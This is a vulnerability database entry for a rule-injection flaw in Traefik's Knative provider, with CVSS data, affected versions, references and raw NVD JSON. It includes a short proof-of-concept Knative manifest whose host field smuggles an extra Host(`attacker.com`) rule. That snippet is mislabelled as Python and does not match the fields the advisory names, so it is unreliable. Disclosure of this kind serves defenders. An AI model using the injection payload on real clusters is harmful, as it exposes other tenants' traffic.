CVE-2026-32695

Description

Traefik is an HTTP reverse proxy and load balancer. Prior to versions 3.6.11 and 3.7.0-ea.2, Traefik's Knative provider builds router rules by interpolating user-controlled values into backtick-delimited rule expressions without escaping. In live cluster validation, Knative `rules[].hosts[]` was exploitable for host restriction bypass (for example `tenant.example.com`) || Host(`attacker.com`), producing a router that serves attacker-controlled hosts. Knative `headers[].exact` also allows rule-syntax injection and proves unsafe rule construction. In multi-tenant clusters, this can route unauthorized traffic to victim services and lead to cross-tenant traffic exposure. Versions 3.6.11 and 3.7.0-ea.2 patch the issue.

CVSS Details

CVSS Score

7.7

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:traefik:traefik:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:traefik:traefik:3.7.0:ea1:*:*:*:*:*:* - VULNERABLE

Traefik < 3.6.11

Traefik < 3.7.0-ea.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Malicious Knative Route configuration demonstrating the injection
apiVersion: serving.knative.dev/v1
kind: Route
metadata:
  name: evil-route
spec:
  traffic:
  - percent: 100
    revisionName: service-revision
  # Attack payload injection into host field
  # Original intent: tenant.example.com
  # Injected payload: "tenant.example.com" || Host(`attacker.com`)
  hostnames:
  - "tenant.example.com" || Host(`attacker.com`)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-32695
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-32695
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-32695/
[4] VulDB https://vuldb.com/cve/CVE-2026-32695
[5] https://github.com/traefik/traefik/releases/tag/v3.6.11
[6] https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2
[7] https://github.com/traefik/traefik/security/advisories/GHSA-67jx-r9pv-98rj

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-32695", "sourceIdentifier": "[email protected]", "published": "2026-03-27T14:16:08.537", "lastModified": "2026-04-03T17:22:01.283", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Traefik is an HTTP reverse proxy and load balancer. Prior to versions 3.6.11 and 3.7.0-ea.2, Traefik's Knative provider builds router rules by interpolating user-controlled values into backtick-delimited rule expressions without escaping. In live cluster validation, Knative `rules[].hosts[]` was exploitable for host restriction bypass (for example `tenant.example.com`) || Host(`attacker.com`), producing a router that serves attacker-controlled hosts. Knative `headers[].exact` also allows rule-syntax injection and proves unsafe rule construction. In multi-tenant clusters, this can route unauthorized traffic to victim services and lead to cross-tenant traffic exposure. Versions 3.6.11 and 3.7.0-ea.2 patch the issue."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-74"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:traefik:traefik:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.6.11", "matchCriteriaId": "A2129522-D064-4BF1-84ED-6B70629E4F6C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:traefik:traefik:3.7.0:ea1:*:*:*:*:*:*", "matchCriteriaId": "7881B288-5141-4508-AB71-3F7586168437"}]}]}], "references": [{"url": "https://github.com/traefik/traefik/releases/tag/v3.6.11", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/traefik/traefik/security/advisories/GHSA-67jx-r9pv-98rj", "source": "[email protected]", "tags": ["Exploit", "Patch", "Vendor Advisory"]}]}}